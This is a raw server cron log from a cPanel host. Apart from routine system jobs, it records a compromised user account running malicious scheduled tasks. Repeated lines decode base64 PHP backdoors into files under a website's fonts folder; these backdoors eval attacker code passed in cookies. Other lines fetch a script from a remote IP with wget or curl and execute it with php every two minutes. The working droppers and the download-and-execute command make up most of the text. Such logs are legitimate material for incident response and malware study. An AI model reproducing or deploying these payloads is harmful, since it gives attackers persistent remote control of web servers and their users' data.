Sep 12 19:25:01 ip-184-168-122-23 CROND[13051]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:25:01 ip-184-168-122-23 CROND[13052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:26:01 ip-184-168-122-23 CROND[13139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:26:01 ip-184-168-122-23 CROND[13142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:26:01 ip-184-168-122-23 CROND[13141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:26:01 ip-184-168-122-23 CROND[13143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:26:01 ip-184-168-122-23 CROND[13144]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:27:01 ip-184-168-122-23 CROND[13245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:27:01 ip-184-168-122-23 CROND[13247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:27:01 ip-184-168-122-23 CROND[13248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:27:01 ip-184-168-122-23 CROND[13250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:28:01 ip-184-168-122-23 CROND[13409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:28:01 ip-184-168-122-23 CROND[13411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:28:01 ip-184-168-122-23 CROND[13412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:28:01 ip-184-168-122-23 CROND[13415]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:28:01 ip-184-168-122-23 CROND[13414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:29:01 ip-184-168-122-23 CROND[13499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:29:01 ip-184-168-122-23 CROND[13502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:29:01 ip-184-168-122-23 CROND[13501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:29:01 ip-184-168-122-23 CROND[13503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:30:01 ip-184-168-122-23 CROND[13591]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 19:30:01 ip-184-168-122-23 CROND[13594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:30:01 ip-184-168-122-23 CROND[13596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:30:01 ip-184-168-122-23 CROND[13600]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:30:01 ip-184-168-122-23 CROND[13598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:30:01 ip-184-168-122-23 CROND[13601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:30:01 ip-184-168-122-23 CROND[13597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:30:01 ip-184-168-122-23 CROND[13602]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:31:01 ip-184-168-122-23 CROND[13704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:31:01 ip-184-168-122-23 CROND[13706]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 19:31:01 ip-184-168-122-23 CROND[13708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:31:01 ip-184-168-122-23 CROND[13705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:31:01 ip-184-168-122-23 CROND[13707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:32:01 ip-184-168-122-23 CROND[13793]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:32:01 ip-184-168-122-23 CROND[13795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:32:01 ip-184-168-122-23 CROND[13797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:32:01 ip-184-168-122-23 CROND[13796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:32:01 ip-184-168-122-23 CROND[13798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:33:01 ip-184-168-122-23 CROND[13984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:33:01 ip-184-168-122-23 CROND[13986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:33:01 ip-184-168-122-23 CROND[13985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:33:01 ip-184-168-122-23 CROND[13987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:34:01 ip-184-168-122-23 CROND[14077]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:34:01 ip-184-168-122-23 CROND[14078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:34:01 ip-184-168-122-23 CROND[14079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:34:01 ip-184-168-122-23 CROND[14083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:34:01 ip-184-168-122-23 CROND[14082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:35:01 ip-184-168-122-23 CROND[14176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:35:01 ip-184-168-122-23 CROND[14178]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 19:35:01 ip-184-168-122-23 CROND[14180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:35:01 ip-184-168-122-23 CROND[14181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:35:01 ip-184-168-122-23 CROND[14184]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:35:01 ip-184-168-122-23 CROND[14179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:35:01 ip-184-168-122-23 CROND[14182]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:35:01 ip-184-168-122-23 CROND[14183]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 19:36:01 ip-184-168-122-23 CROND[14284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:36:01 ip-184-168-122-23 CROND[14286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:36:01 ip-184-168-122-23 CROND[14287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:36:01 ip-184-168-122-23 CROND[14288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:36:01 ip-184-168-122-23 CROND[14289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:37:02 ip-184-168-122-23 CROND[14373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:37:02 ip-184-168-122-23 CROND[14372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:37:02 ip-184-168-122-23 CROND[14374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:37:02 ip-184-168-122-23 CROND[14378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:38:01 ip-184-168-122-23 CROND[14546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
